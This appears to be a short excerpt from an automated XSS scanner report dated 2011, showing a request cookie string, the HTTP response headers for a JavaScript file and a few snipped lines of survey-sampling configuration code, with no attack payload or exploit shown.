MS0=f3f2728c424547eea3473ade4954b294; sdninc=1; gssSITE=gn; gssTHEME=gn; gssTOOLBAR=gn; gssLANG=en-us; wedcsinc=1; MC0=1311289830164; ST_GN_EN-US=1_0_0; fmsmemo=st=|13703; fmshb=0,1311289841269

Response

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: application/x-javascript
Last-Modified: Tue, 14 Jun 2011 08:42:04 GMT
Accept-Ranges: bytes
ETag: "0d682ef6e2acc1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:10:36 GMT
Content-Length: 27593

...if(SiteRecruit_Globals.isEnUs==true){SiteRecruit_Config.frequency=0.0005;}
if(SiteRecruit_Globals.isFR==true){SiteRecruit_Config.frequency=0.0014;}
if(SiteRecruit_Globals.isDE==true){SiteRecruit_
...[SNIP]...

Report generated by XSS.CX at Thu Jul 21 18:33:16 CDT 2011.